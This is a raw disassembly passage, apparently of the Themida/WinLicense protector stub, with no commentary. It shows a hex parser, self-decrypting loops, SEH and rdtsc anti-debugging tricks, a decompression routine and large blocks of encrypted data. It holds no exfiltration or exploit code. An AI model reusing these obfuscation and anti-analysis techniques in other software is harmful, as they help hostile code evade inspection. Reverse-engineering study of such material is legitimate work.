		rcl	eax, cl
		dec	ebx
		jnz	short loc_5423BF
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_5423B3
		popa
		leave
		retn	4
sub_54235D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_5423FD
; ---------------------------------------------------------------------------

loc_5423F9:				; CODE XREF: Themida_:00542400j
		inc	dword ptr [ebp-4]
		inc	esi

loc_5423FD:				; CODE XREF: Themida_:005423F7j
		cmp	byte ptr [esi],	0
		jnz	short loc_5423F9
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_54248E
; ---------------------------------------------------------------------------

loc_54240F:				; CODE XREF: Themida_:00542491j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_542485
; ---------------------------------------------------------------------------

loc_542418:				; CODE XREF: Themida_:00542489j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_542472
; ---------------------------------------------------------------------------

loc_542428:				; CODE XREF: Themida_:00542476j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_54244A
		cmp	bl, 39h
		ja	short loc_54244A
		sub	bl, 30h
		jmp	short loc_54246C
; ---------------------------------------------------------------------------

loc_54244A:				; CODE XREF: Themida_:0054243Ej
					; Themida_:00542443j
		cmp	bl, 61h
		jb	short loc_54245C
		cmp	bl, 66h
		ja	short loc_54245C
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_54246C
; ---------------------------------------------------------------------------

loc_54245C:				; CODE XREF: Themida_:0054244Dj
					; Themida_:00542452j
		cmp	bl, 41h
		jb	short loc_54246C
		cmp	bl, 46h
		ja	short loc_54246C
		sub	bl, 41h
		add	bl, 0Ah

loc_54246C:				; CODE XREF: Themida_:00542448j
					; Themida_:0054245Aj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]

loc_542472:				; CODE XREF: Themida_:00542426j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_542428
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_542482
		mov	eax, [ebp-10h]
		stosb

loc_542482:				; CODE XREF: Themida_:0054247Cj
		inc	dword ptr [ebp-8]

loc_542485:				; CODE XREF: Themida_:00542416j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_542418
		add	edx, 4

loc_54248E:				; CODE XREF: Themida_:0054240Dj
		cmp	edx, [ebp-4]
		jb	loc_54240F
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_5424A1:				; CODE XREF: start+62274j
		mov	ecx, 7000h
		lea	edi, [ebp+64D35C8h]

loc_5424AC:				; CODE XREF: start+6249Cj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_5424AC
		mov	eax, 48692121h
		mov	edx, 0F00E0000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+64D36DBh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		mov	bx, si
		mov	bh, 1Ah
		sub	eax, edx
		call	near ptr loc_5424ED+1
		xlat
		sal	dword ptr [eax-1Ah], 1

loc_5424ED:				; CODE XREF: start+624D0p
		mov	eax, ds:9A94BB66h
		pop	ebx
		call	near ptr loc_542508+1
		xchg	eax, edi
		add	al, 32h
		mov	esi, [ecx+76039DCFh]
		setalc
		inc	esi
		std
		sbb	al, [ebx+62h]
		in	eax, dx

loc_542508:				; CODE XREF: start+624DFp
		mov	bh, 57h
		ja	$+6
		pop	ebx
		pop	ebx
		and	eax, 0FFFFF000h
		push	0
		push	ebx
		call	sub_542522
		and	[ebx-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_542522	proc near		; CODE XREF: start+62506p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_542522	endp

; ---------------------------------------------------------------------------
		dw 4006h
		dd 0DF8B66B0h, 0FF33CA8Bh, 4D388166h, 0F0E755Ah, 33C50B7h
		dd 503A81D0h, 74000045h, 10002D08h, 0EB470000h,	58F64E3h
		dd 0
		dd 8D04C483h, 4D36EE95h, 0FF645206h, 35h, 25896400h, 0
		dd 2DC103h, 8B000010h, 0E6810470h, 0FFFF0000h, 0FE81h
		dd 3768000h, 331C708Bh,	32F883C0h, 81661F74h, 745A4D3Eh
		dd 0EE8109h, 40000100h,	7E8BEBEBh, 81FE033Ch, 45503Fh
		dd 0EB447400h, 58F64E8h, 0
		dd 6104C483h, 4C8B51C3h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 244C8B51h, 0E85510h,	5D000000h, 36F9ED81h, 858D064Dh
		dd 64D36B7h, 0B88189h, 595D0000h, 96C3C033h, 58F64h, 83000000h
		dd 6A04C4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 15F4DBC3h, 376C7246h, 8C66365Bh, 57006AD9h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 83B6114Eh, 38BB5676h, 8008758Ah, 0E180F8C3h,	57006A04h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0BBAED462h, 78189CA8h, 850FC90Ah, 22h, 0C7D88B66h, 4D128185h
		dd 106h, 8E900h, 0CC950000h, 0A18EFE7Eh, 26E9D0BEh, 8B000000h
		dd 85C7FCD8h, 64D1281h,	0
		dd 14E9h, 7FF8D300h, 7975623Bh,	0DB47E2A4h, 82235D97h
		dd 62B61EC1h, 31858962h, 0F064D14h, 28Eh, 89DA8B00h, 4D0B2985h
		dd 0DE806h, 0CC4F0000h,	92422B98h, 38D464E4h, 0F93F3BDh
		dd 6659F7B7h, 0C181FB8Bh, 6E9Dh, 8B66F560h, 0D23361F3h
		dd 0A34FFF9h, 7800Fh, 0BB500000h, 39BABE92h, 11E9585Eh
		dd 5D000000h, 680D93EAh, 0ED217F1h, 4CFE4C5Fh, 2F98504Fh
		dd 2242C081h, 81660664h, 813825D6h, 358B34C0h, 0D88B663Ch
		dd 0DD88C081h, 0C6817756h, 4FD41FD4h, 3830F50h,	66000000h
		dd 48FF08Bh, 9E911h, 19FC0000h,	0DDA27B97h, 0F5126B11h
		dd 63EAEA81h, 8B6677D4h, 0E6C281F3h, 8177D463h,	0FF9220FAh
		dd 11850FFFh, 0E9000000h, 1Bh, 0AED87105h, 46D819E7h, 91216D9Fh
		dd 0E9F98B66h, 0FFFFFF69h, 6EDFC278h, 0E9FCC8E5h, 741h
		dd 66D38B60h, 61BB9BBBh, 2035B589h, 217064Dh, 0
		dd 9A7A8100h, 0C53706E9h, 14ED81BBh, 698B8A5Eh,	0BF8F72FBh
		dd 0F8B70F60h, 8E9h, 6DF59700h,	0BE944B4Fh, 616Dh, 7E9h
		dd 6A737400h, 28C6CA1Ah, 68A0F60h, 29000000h, 4D138195h
		dd 60C02B06h, 0C95BBA66h, 24548B61h, 1810F28h, 0FC000000h
		dd 42D8589h, 850F064Dh,	1, 3CBEF5h, 8B0F0000h, 6, 101DB501h
		dd 7403064Dh, 81602424h, 5D352ECEh, 0AD666151h,	5D9BD89h
		dd 4403064Dh, 90F92424h, 11E9h,	0A553F100h, 5EA66C33h
		dd 57DD60E4h, 0C426A0F6h, 0E950B464h, 14h, 0F141CC7h, 9DCD9470h
		dd 0B47DDA89h, 69B703ECh, 0A69D586Fh, 0D9BD2990h, 8B064D05h
		dd 0BD897840h, 64D2E4Dh, 28244403h, 18D0FFCh, 0FC000000h
		dd 3118408Bh, 4D0B0DBDh, 8F0F4006h, 1, 0CC8589F9h, 89064D38h
		dd 4D0ABD9Dh, 9D895806h, 64D1EB9h, 0F78708Bh, 687h, 659D8900h
		dd 83064D26h, 8B601CC6h, 4D268585h, 918D8906h, 61064D30h
		dd 24247403h, 68B0F60h,	33000000h, 4D1F0195h, 0BE6606h
		dd 0BD8D613Dh, 64D14C1h, 0A98D8B60h, 61064D2Ch,	10E9ADh
		dd 6B0B0000h, 0B15B981Ch, 1D6213BFh, 7E1EB9A7h,	44030258h
		dd 8D892424h, 64D1F35h,	0F1BD89ABh, 0F064D2Fh, 1685h, 11E900h
		dd 3D560000h, 2CF2713Fh, 70FFB04Fh, 0D46D3824h,	8D224C83h
		dd 4D128DBDh, 6060F806h, 2781BD8Bh, 0E961064Dh,	8, 8B0E26Fh
		dd 10966097h, 960AD61h,	4D1151B5h, 0D9858B06h, 61064D21h
		dd 24244403h, 22E1B529h, 8C0F064Dh, 7, 18D0Fh, 50F90000h
		dd 0BE95250h, 0EC000000h, 0D2480425h, 0B2952189h, 310FC2A0h
		dd 9E960h, 91F20000h, 7B67DBCh,	0E9BFDC46h, 5, 0D69BD0FFh
		dd 585A61D1h, 0E9240489h, 11h, 0F4BE5DC8h, 75D697CEh, 0C59AAE95h
		dd 43C04D20h, 8DF5AB00h, 4D304DBDh, 35B58906h, 9064D0Fh
		dd 4D164985h, 13E9AD06h, 17000000h, 2D359E9h, 3D97BBC3h
		dd 8A7CB036h, 6BAA491h,	13E99F42h, 91000000h, 1B01C310h
		dd 59041403h, 68393860h, 0A7E88A7Dh, 4403FC5Ah,	8D292824h
		dd 64D11C5h, 73D9509h, 31AB064Dh, 4D1BDD9Dh, 61B58906h
		dd 5E064D0Eh, 22E5B589h, 8DFF064Dh, 64D38CCh, 38CCBD83h
		dd 7500064Dh, 2444C710h, 1Ch, 0C3B58D00h, 0FF064D3Dh, 3AD56E6h
		dd 97282444h, 858ADF8Bh, 64D26E5h, 474C084h, 4C75073Ah
		dd 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h
		dd 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h,	660973D8h
		dd 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh
		dd 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh
		dd 42D85FFh, 6FE9064Dh,	5EFFFFFFh, 18B0Fh, 0FF80000h, 18Ah
		dd 0BD01F800h, 64D327Dh, 17860Fh, 12E90000h, 0F9000000h
		dd 0F314ABDh, 0FCF3F857h, 850523AEh, 4748FF78h,	2D858B81h
		dd 89064D04h, 4D0E1D85h, 60E0D106h, 0DE8h, 0BD49E100h
		dd 0C2FFB29Ah, 33EEA76Ch, 0BD8933EFh, 64D1501h,	0DF81665Bh
		dd 3616184h, 4D304D85h,	81BD8906h, 0BE064D31h, 0
		dd 66F996F9h, 0C8F0FADh, 0F000000h, 681h, 0B9BD0900h, 0C1064D0Bh
		dd 0DE902E0h, 0F1000000h, 6F4817B7h, 219241C1h,	0EC0518C8h
		dd 14C18503h, 9531064Dh, 64D27DDh, 10E9h, 7FC3A600h, 198EA6DCh
		dd 0EEAA57A1h, 374B50F8h, 85099670h, 64D2FA9h, 0D7BB60ADh
		dd 294E15B3h, 4D001D95h, 4C8B6106h, 9D292424h, 64D0EEDh
		dd 24244403h, 6860Fh, 9D890000h, 64D057Dh, 2E89BD89h, 4489064Dh
		dd 85891C24h, 64D3031h,	41858996h, 89064D25h, 4D1B1985h
		dd 850FAC06h, 7, 1890Fh, 32F90000h, 7E9C9h, 27760000h
		dd 0D30037DBh, 29C1FE9Bh, 4D27DD9Dh, 0FD0D006h,	0B083h
		dd 14E900h, 8B000000h, 590DEA6Fh, 0CDBF0BBFh, 6E4CEF26h
		dd 82908114h, 0D0D02020h, 8F830Fh, 810F0000h, 6, 2349BD89h
		dd 9D89064Dh, 64D1135h,	820FD0D0h, 75h,	31BD8960h, 8B064D22h
		dd 4D254D8Dh, 0D0D06106h, 5F820Fh, 95290000h, 64D29B5h
		dd 890FC9FEh, 0FFFFFF99h, 555BD09h, 0C483064Dh,	7E920h
		dd 5D170000h, 72E3B0A3h, 2444C727h, 0FCh, 0B5B50900h, 0B8064D2Bh
		dd 1, 17C18589h, 8D8D064Dh, 64D740Eh, 18519589h, 0E1FF064Dh
		dd 10E9h, 7C3DD500h, 143A2881h,	83A89E7Dh, 307459C0h, 0E585C6F8h
		dd 64D26h, 13E9h, 0F927B400h, 0A9FD0FB7h, 0CFE07DEEh, 8E1FE852h
		dd 0B6B44FF0h, 0A830F61h, 60000000h, 318D9533h,	6160064Dh
		dd 8C261h, 13E9h, 43CBED00h, 0E444C8DDh, 2C26DE6h, 1BE2B09Ch
		dd 265FB2Ah, 0E8606096h, 0Dh, 329E8770h, 5C16E28Dh, 1A05167Dh
		dd 0F78B5F3Bh, 0F525061h, 5A585231h, 0E9506158h, 13h, 0F047413Ch
		dd 64E68D0Eh, 2E173DBEh, 0EAE0B2D5h, 96784338h,	0C8F0Fh
		dd 820F0000h, 6, 12799509h, 0B589064Dh,	64D3FD1h, 0BE9h
		dd 0DBD19000h, 8AA75889h, 0E2C4542Ah, 3FE98D89h, 160064Dh
		dd 4D314195h, 3880F06h,	66000000h, 8D61F98Bh, 4D3EC7B5h
		dd 5E906h, 0E7C70000h, 0F9301028h, 7E35858Dh, 8589005Bh
		dd 64D2B65h, 9509D0FFh,	64D1369h, 2985895Eh, 0C3064D15h
		dd 0CE9h, 12CDF300h, 619F6A06h,	196AB0B4h, 0D1B58B45h
		dd 89064D3Fh, 4D2D3D8Dh, 0E98D8B06h, 0E9064D3Fh, 8, 7AF74F49h
		dd 8E244E30h, 9501C02Bh, 64D1E0Dh, 858BF860h, 64D0AF5h
		dd 89D98B61h, 4D2E15BDh, 0B4E906h, 0FE90000h, 0C000000h
		dd 0FC3A4030h, 43623127h, 6CF84A6Ah, 2632B4F5h,	0D858B60h
		dd 80064D2Eh, 0B26110C0h, 1810F02h, 0F5000000h,	48E9h
		dd 0C232F500h, 10099D09h, 7A05064Dh, 0E98A751Dh, 0Ch, 0D891D65Bh
		dd 52213C4Eh, 6D024D7Ah, 9CC8AF8h, 4D23C59Dh, 0FCC8D306h
		dd 0D1084235h, 3D953198h, 0FE064D1Bh, 0BE9CAh, 8A630000h
		dd 0DDC5891Eh, 6728C46Ah, 0FD20A72h, 0FFFFB185h, 1860FFFh
		dd 0F8000000h, 6820F4Bh, 89000000h, 4D152985h, 0D58D8906h
		dd 46064D0Eh, 14850Fh, 0FE90000h, 88000000h, 997960E0h
		dd 479E02A4h, 86984107h, 0DB0B3966h, 0FF58850Fh, 8B0FFFFFh
		dd 9, 0DF81F560h, 2B61B800h, 0F5CF61h, 0FCF96000h, 0F5000061h
		dd 0AE9h, 33B97200h, 35C4FDA0h,	8EAC42h, 0B5896000h, 64D0645h
		dd 43FB866h, 89000061h,	4D26E1BDh, 6858D06h, 60064D39h
		dd 2390E7BEh, 44F3813Bh, 6119C7E5h, 18870Fh, 13E90000h
		dd 26000000h, 9F5E638Ah, 2DBFAB35h, 59481168h, 16A136ECh
		dd 8589F751h, 64D1375h,	6880F60h, 89000000h, 4D0F39BDh
		dd 0DBBF0F06h, 0E858D61h, 0E9064D3Eh, 8, 0E9764C57h, 6DC3DC8Ah
		dd 2C318589h, 13E8064Dh, 0FC000000h, 2362517Bh,	0AC1E37D9h
		dd 0AAFF8A4Ah, 7E5D08C6h, 0BD296B1Dh, 64D0EA9h,	0D985095Eh
		dd 81064D31h, 66DBC6h, 299D3300h, 0BA064D03h, 1995h, 2C898D8Bh
		dd 68B064Dh, 22CD8589h,	0E881064Dh, 338C6F4h, 5FDBD8Bh
		dd 0F081064Dh, 604B78EDh, 0C081F88Bh, 705629C9h, 1E0D9D8Bh
		dd 689064Dh, 31998D0Bh,	0EE81064Dh, 230E78B2h, 13D58D33h
		dd 0C681064Dh, 230E78AEh, 83F8BF0Fh, 850F01EAh,	0FFFFFFB2h
		dd 23219D8Bh, 14EB064Dh, 4 dup(0)
		dd 8Bh,	41C6858Dh, 8589064Dh, 64D2955h,	40FEBD83h, 0F00064Dh
		dd 12B84h, 0E585C600h, 56064D26h, 4E8h,	1F6D3900h, 448B50D4h
		dd 8B0424h, 4244489h, 31B5FF58h, 8D064D14h, 4D390685h
		dd 89D0FF06h, 4D40F285h, 0E585C606h, 56064D26h,	0FF1EEF68h
		dd 243481F0h, 6C57A6BDh, 1431B5FFh, 858D064Dh, 64D3906h
		dd 8589D0FFh, 64D40F6h,	4E8046Ah, 0
		dd 50000010h, 424448Bh,	4489008Bh, 8B580424h, 4D410285h
		dd 1F40506h, 0E0C10000h, 90509002h, 95FF006Ah, 64D40F6h
		dd 40FA8589h, 0D88B064Dh, 0FFFFFFB8h, 5595FFFFh, 8B064D29h
		dd 5595FFC3h, 0E9064D29h, 84h, 40FEBD83h, 0F00064Dh, 185h
		dd 8B57C300h, 4D40FABDh, 8583AB06h, 64D40FAh, 83C35F04h
		dd 4D40FEBDh, 850F0006h, 1, 0AD8360C3h,	64D40FAh, 0FA9D8B04h
		dd 83064D40h, 0FFFFC7Bh, 1D85h,	117C6800h, 481CB81h, 7F6E8424h
		dd 0FF006A34h, 0F295FF33h, 61064D40h, 1DE9C3h, 94680000h
		dd 8188FB2Ch, 536C2404h, 6A7705h, 95FF33FFh, 64D40F2h
		dd 40FAAD83h, 0E904064Dh, 0FFFFFFB1h, 1ADE948h,	8B600000h
		dd 8B242474h, 0FC28247Ch, 68A80B2h, 47078846h, 2BBh, 0FD20200h
		dd 585h, 46168A00h, 830FD212h, 0FFFFFFE2h, 850FD202h, 5
		dd 1246168Ah, 6A830FD2h, 33000000h, 0FD202C0h, 585h, 46168A00h
		dd 830FD212h, 12Ah, 850FD202h, 5, 1246168Ah, 2C013D2h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0D202C013h,	5850Fh
		dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h
		dd 6840Fh, 2B570000h, 5F078AF8h, 0BB470788h, 2,	0FFFF70E9h
		dd 1B8FFh, 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h
		dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 1BBC32Bh, 0F000000h
		dd 3485h, 1B900h, 0D2020000h, 5850Fh, 168A0000h, 13D21246h
		dd 0FD202C9h, 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 2BF78B56h
		dd 5EA4F3F5h, 0FFFF08E9h, 0E0C148FFh, 46068A08h, 1B9E88Bh
		dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h
		dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 7D003DFFh
		dd 830F0000h, 22h, 5003Dh, 0E820F00h, 41000000h, 2BF78B56h
		dd 5EA4F3F0h, 0FFFEB4E9h, 7FF883FFh, 3870Fh, 0C1830000h
		dd 0F78B5602h, 0A4F3F02Bh, 0FE9BE95Eh, 68AFFFFh, 0C0C93346h
		dd 840F01E8h, 17h, 8B02D183h, 0F78B56E8h, 0A4F3F02Bh, 1BB5Eh
		dd 76E90000h, 2BFFFFFEh, 8928247Ch, 611C247Ch, 0BA0008C2h
		dd 929h, 9D3E9h, 0EDDB0600h, 0D93BD602h, 78704C31h, 0B3E06A25h
		dd 0B9DD12C0h, 0C23D9700h, 7AD105A3h, 0BBC523DFh, 0EDFD5B03h
		dd 0D579DD0Fh, 2A675E39h, 0B4F27B76h, 0D6961D85h, 0C837E763h
		dd 76D018B7h, 0B9C5238Dh, 0EDFE5405h, 0CA79C70Fh, 2A784424h
		dd 0AFEC6768h, 0BD980992h, 0DF7BD300h, 3BC118B3h, 0AC8B22DFh
		dd 0EDE84005h, 0CB36C116h, 24784A24h, 63h dup(0)
		dd 0EDDB0600h, 0C537DC0Bh, 2A674422h, 0A7EE7075h, 0FCD51192h
		dd 8D28D606h, 34D00EB4h, 0A0C4308Dh, 0BFBA5104h, 0C537DD13h
		dd 63354C38h, 0AFF8226Bh, 0AF980295h, 0C82FC417h, 57BF45BBh
		dd 0B4CE3AFDh, 0EDB65019h, 0C335DD13h, 63354F37h, 0B2E72271h
		dd 0B1981D8Fh, 0DF34DA0Bh, 34D44BAFh, 0B0D976C9h, 0BFFB4119h
		dd 0C3209312h, 7A355923h, 0B2E66D77h, 961D81h, 48h dup(0)
		dd 0EDDB0600h, 0CF38C105h, 2D674E3Dh, 0AFF52276h, 0B4981C8Fh
		dd 0CF7BC40Fh, 7ADB0EB3h, 0BBDE39CBh, 0B8E8150Eh, 0C230DD08h
		dd 647C0B31h, 0B5EE7B25h, 0A5CB5092h, 0C03EC31Dh, 0AB861F8h
		dd 0A6CA33C1h, 0B8BA190Fh, 0CD36DF08h, 7E7C0B32h, 0AFF36425h
		dd 0B9D5508Dh, 0D429D803h, 3EDB0AF6h, 0A6CE248Dh, 0B9E8541Eh
		dd 0D936CA46h, 78650B24h, 0A1F3656Ah, 5E8Dh, 61h dup(0)
		dd 0A4DC0600h, 0CF79D60Ah, 7F675939h, 0A4E47675h, 88985EC1h
		dd 8D28DE06h, 3DDA19A6h, 0F5C637DFh, 0EDE95402h, 0C23CD604h
		dd 64744676h, 0ACF4726Ch, 0B8DD0481h, 0C935D64Eh, 23D406F6h
		dd 0D8A133CFh, 0BEBD4103h, 0CA37DA46h, 6F614833h, 0B9E32261h
		dd 8A9811C0h, 0DE2EC507h, 7AC704F6h, 0B6CA24CEh, 0E3FE5001h
		dd 0C531E746h, 63730B25h, 0B7A16769h, 0A89F1E8Fh, 0DF34C04Eh
		dd 34D44BBDh, 0A7C43BD4h, 1B0Fh, 0E0h dup(0)
		dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
		dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
		dd 2 dup(0)
		dd 2EFDE9h, 0D853100h, 0FC064D16h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 84C35141h, 0CAF71FE7h, 0CA80F8B1h
		dd 6AC08B1Ch, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 97DAC351h, 10E851h, 75450000h
		dd 0F3B4BAC2h, 69BB2D78h, 179BEFCBh, 0EA81C0CCh, 1F30BF70h
		dd 0BD835B5Bh, 64D1BD9h, 83097500h, 4D0011BDh, 13740006h
		dd 0C08B5350h, 1B8h, 0B79D8D00h, 0FF064FB5h, 83585BD3h
		dd 4D0011BDh, 11740006h, 1B85350h, 8D000000h, 4FB4689Dh
		dd 5BD3FF06h, 0B9958B58h, 0F5064D28h, 0C08B92B7h, 29798589h
		dd 0BD83064Dh, 64D313Dh, 0FA840F00h, 6A000001h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0C868C350h, 2467EA69h, 813A5551h, 161BCDAh, 45BD8330h
		dd 64D14h, 1C3840Fh, 95330000h,	64D0731h, 55006A60h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 0F19D896Ah, 8B064D22h, 4D144585h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 96B0301Ch
		dd 0FCC79F60h, 958BB922h, 64D3245h, 3E805h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 3B0F65E6h, 17A36AD2h, 0E8D7B704h, 12h, 940550F2h, 0A561BE40h
		dd 7C560D69h, 5F432DF0h, 8D89306Bh, 64D322Dh, 85B5895Bh
		dd 90064D00h, 52505250h, 310FDE8Bh, 585AF98Ah, 30BB310Fh
		dd 5A0F1ECEh, 0FA8A5058h, 0A1BD0190h, 8D064D11h, 4D4DC185h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 8913C697h, 4D2D2D8Dh, 6800F06h, 89000000h
		dd 4D2D3D95h, 8B665006h, 240489D0h, 5D19D03h, 858D064Dh
		dd 64D4D9Fh, 0FFC7BB66h, 60525050h, 310F5250h, 7E9585Ah
		dd 0E6000000h, 0A139F3A3h, 0F61DF77h, 2810F31h,	0B7000000h
		dd 89585A47h, 7E82404h,	0FC000000h, 0C7B2B21Fh,	8D0FD159h
		dd 5, 458189BBh, 95FF5A4Fh, 64D0341h, 2EDD9D8Bh, 0C483064Dh
		dd 0CE90Ch, 2C700000h, 68FE5045h, 0DF923F08h, 858D06BEh
		dd 64D4D9Fh, 90E4DB80h,	50DE8B66h, 8B905AB7h, 4D10C995h
		dd 89026A06h, 4D1C5DB5h, 7495FF06h, 0F006885h, 6A61DFBFh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 5A34C351h, 944198Bh, 4D0C19BDh, 0D285C706h
		dd 1064D4Dh, 0E9000000h, 0Dh, 5DDAE9E6h, 0FE16C4C8h, 0CAC07ED6h
		dd 46BB9614h, 50060DE0h, 5B575360h, 6A96615Fh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0D835C350h, 0A99523B2h, 89064D2Ch, 4D4D83B5h, 662BA06h
		dd 0BD836433h, 64D1281h, 58850F01h, 8B000000h, 4D0CED9Dh
		dd 5F88306h, 49850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 800FD4C3h, 2,	0B8D78Bh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0B775C356h, 8350B7BBh,	4D22F9BDh
		dd 840F0006h, 30h, 5D2CF6BAh, 0DA816676h, 0B8D208h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 1485C356h, 1EEBF7F6h, 0DA816660h,	858B719Bh
		dd 64D15A9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	30C35646h, 6602C083h, 89254FBBh, 4D4D7B85h, 5AF95106h
		dd 8BFF00C6h, 4D26559Dh, 0E585C606h, 53064D26h,	25799D0Bh
		dd 0C468064Dh, 60C6369Ch, 0CE952h, 0AB20000h, 11446338h
		dd 711DDC6Ch, 505B87C0h, 14E852h, 49D50000h, 0B07A129h
		dd 0FDA1FF67h, 50994D9Bh, 0C7CF7BE2h, 0F5E522Ch, 5A616031h
		dd 4816158h, 7AAC1424h,	0B5FFF936h, 64D0B29h, 8D18DF80h
		dd 5075D785h, 0AD8D8906h, 0FF064D31h, 0E19D8BD0h, 89064D27h
		dd 4D051185h, 0C9958B06h, 83064D28h, 4D1139BDh,	850F0106h
		dd 140h, 0DA59D8Bh, 6A61064Dh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 8BE5C350h, 85C6D18Bh
		dd 64D26E5h, 55006A45h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 494357C0h, 3C4A769Fh, 0F163FDBAh
		dd 15890F78h, 0F000000h, 0F8Ah,	0AE900h, 0F1000000h, 2CB9053Fh
		dd 4F49135Ch, 4E8h, 6038C200h, 0E2BA66DAh, 6E95066h, 0F5000000h
		dd 64AD3967h, 24448BFFh, 0F008B04h, 1D81h, 0E9525000h
		dd 10h,	11454F67h, 59CAAF63h, 3637E17Eh, 509F138Ah, 6160310Fh
		dd 4489585Ah, 66580424h, 2682D281h, 0B29B5FFh, 860F064Dh
		dd 3, 8DDE8B66h, 5075D785h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 8A2871F5h
		dd 2B8076D5h, 268D9D89h, 0D0FF064Dh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 65C35545h, 6AD18Ah,	0D0FFC5B3h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 7C35141h
		dd 0D88B66B1h, 275DBD83h, 0F01064Dh, 0BC85h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 8BF2EB7Bh, 4D15A985h, 0C1B50906h, 0E9064D00h, 76h, 6DBA6660h
		dd 61C88BF1h, 0E9906EB6h, 0Eh, 0E7AC3129h, 0E994EC37h
		dd 9C183988h, 5050CEA6h, 0EE852h, 7A170000h, 0A587DD50h
		dd 6C8F293Fh, 0C53EFD42h, 3A10BA66h, 5A310F5Ah,	0EE99058h
		dd 84000000h, 0C64472EEh, 0EE01EC72h, 91FD8765h, 0E9146A35h
		dd 0Bh,	0FD67697Fh, 0E07409B1h,	0FF9C075Ch, 4D051195h
		dd 0F9958B06h, 58064D27h, 1F59B589h, 3880064Dh,	8B850F00h
		dd 0FFFFFFFh, 28Ch, 0C6DE8A00h,	0E3800100h, 10E96160h
		dd 72000000h, 8A4FA64Fh, 0DA6F7B42h, 4C785CE3h,	83C69881h
		dd 4D1865BDh, 840F0006h, 7Fh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 0D5C35747h,	24BA669Fh, 6AFF6A44h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0FF81C357h, 4D051195h, 0DA8B5206h, 0FFD3E95Ah
		dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
